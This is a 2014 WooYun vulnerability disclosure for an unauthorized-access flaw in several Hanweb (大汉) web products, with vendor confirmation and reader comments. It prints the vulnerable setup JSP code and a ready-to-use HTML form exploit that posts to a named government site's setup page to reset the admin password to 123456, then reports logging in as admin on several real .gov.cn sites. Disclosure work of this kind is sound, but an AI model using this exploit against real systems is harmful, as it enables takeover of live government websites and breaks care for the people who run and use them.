当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-052747

漏洞标题:大汉jbook、jget、jvideo、source、jphoto和lm的通用越权漏洞

相关厂商:南京大汉网络有限公司

漏洞作者: wefgod

提交时间:2014-03-04 15:01

修复时间:2014-06-02 15:02

公开时间:2014-06-02 15:02

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-04: 细节已通知厂商并且等待厂商处理中
2014-03-05: 厂商已经确认,细节仅向厂商公开
2014-03-08: 细节向第三方安全合作伙伴开放
2014-04-29: 细节向核心白帽子及相关领域专家公开
2014-05-09: 细节向普通白帽子公开
2014-05-19: 细节向实习白帽子公开
2014-06-02: 细节向公众公开

简要描述:

jbook=订阅系统(好像是)
source=数据源采集系统
jget=信息采集系统
jvideo=视频系统
jphoto=图片系统
lm=互动系统
大概就是这样。

详细说明:

某个同名文件虽然代码大同小异,但是都产生了同样的越权漏洞,可以重置这几个系统的安装目录相关配置信息。

漏洞证明:

<%
String strRealPath = application.getRealPath("");
//文件路径
String strDictionary = application.getRealPath("") +"/";
//构造上传类,传入上传的路径
CommonUploadFile upload = new CommonUploadFile(strDictionary);

//上传操作
boolean b = upload.uploadFile(request);
String jndi = upload.getFormValue( "jndi");
String product = upload.getFormValue( "product");
…………
……
String servername = upload.getFormValue( "servername");
servername = servername.toLowerCase();

//String jndi = upload.getFormValue( "jndi");
String adminpwd = upload.getFormValue( "adminpwd");
String debug1 = upload.getFormValue( "debug1");
int nDebug = Convert.getStringValueInt( debug1 );
//String dbtype = upload.getFormValue( request,"dbtype");
String dbtypename = upload.getFormValue( "dbtypename");
dbtypename = dbtypename.toLowerCase();

//获取系统参数
int b_email = Convert.getStringValueInt(upload.getFormValue("openmailbook"));
int b_mobile = Convert.getStringValueInt(upload.getFormValue("openmobilebook"));
int logsavedate = Convert.getStringValueInt(upload.getFormValue("logsavetime"));
String cleartime = Convert.getValue(upload.getFormValue("cleartime"));
String sysurl = Convert.getValue(upload.getFormValue("sysurl"));

//写sysconfig.xml配置文件
ConfigService configService = new ConfigService();
SysConfigEntity sysConfig = new SysConfigEntity();
sysConfig.setOpenmailbook(b_email);
sysConfig.setOpenmobilebook(b_mobile);
sysConfig.setLogsavetime(logsavedate);
sysConfig.setCleartime(cleartime);
sysConfig.setUrl(sysurl);
configService.saveSysConfig(sysConfig);

String sso = upload.getFormValue( "sso");
String kick = upload.getFormValue("kick");
String validate = upload.getFormValue("validate");…………
……
//写merpserver.ini配置文件
String iniPath = strRealPath + "/WEB-INF/ini/merpserver.ini";
com.hanweb.common.util.IniFile ini = new com.hanweb.common.util.IniFile( iniPath );
ini.readIni();
ini.setIniValue("WebServer",servername);
ini.setIniValue("AppPath",jndi);
ini.setIniValue("DBType",dbtypename);
ini.setIniValue("AdminPW",adminpwd);
ini.setIniValue("loglevel",debug1);
ini.setIniValue("sso",sso);
ini.setIniValue("kick",kick);
ini.setIniValue("validate",validate);
ini.writeIni();
…………


关键的几步代码基本如上,几个系统类似(VC或其它的一些系统代码和上面就不同,有比较大差别)

image001.png


结合里面的相关参数,整理出一个通用的exp,如下(比较简陋):

<html>
<form action="http://www.yzwh.gov.cn/jphoto/setup/opr_setting.jsp" name="test" method="post" enctype="multipart/form-data">
<input type="file" name="file" size="23" id="file" />
<input type="hidden" name="jndi" value="jsp.jsp " />
<input type="hidden" name="servername" value="123456" />
<input type="hidden" name="debug1" value="123456" />
<input type="hidden" name="dbtype" value="123456" />
<input type="hidden" name="dbtypename" value="123456" />
<input type="hidden" name="ldapV" value="123456" />
<input type="hidden" name="dbtypename" value="123456" />
<input type="hidden" name="adminpwd" value="123456" />
<input type="hidden" name="initapps" value="123456" />
<input type="hidden" name="sso" value="123456" />
<input type="submit" value="Submit" />
</form>
</html>


先用jphoto来做例子。

image003.png


http://www.yzwh.gov.cn/jphoto/setup/ 这是jphoto的setup目录,先用exp提交数据:

image005.png


提交成功后,提示配置文件修改完成,重启服务。
Exp里面是把密码设置为123456的
<input type="hidden" name="adminpwd" value="123456" />
再回到登录界面,使用admin/123456登录

image006.png


再用lm做演示
http://www.liaocheng.gov.cn/lm/setup/

image008.png


image009.png


image011.png


接着最后用source来演示(省级单位……胡乱操作很危险):
http://www.gansu.gov.cn/source/setup/

image013.png


image015.png


其它系统就不多做演示了,以免影响网站的业务政策运行。但是漏洞都是存在的,希望一次性可以修复掉。

修复方案:

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-03-05 09:22

厂商回复:

非常感谢您对大汉产品的关注以及对产品安全方面的指正,马上安排修复

最新状态:

暂无


漏洞评价:

评论

  1. 2014-03-05 09:47 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    要突破1000了

  2. 2014-03-05 10:10 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @HackBraid 可惜还是打酱油的

  3. 2014-03-05 10:13 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    给力!

  4. 2014-03-09 18:02 | 李旭敏 ( 普通白帽子 | Rank:469 漏洞数:71 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    @wefgod 请客吃饭~~通用型

  5. 2014-03-10 11:50 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @李旭敏 木有QB啊现在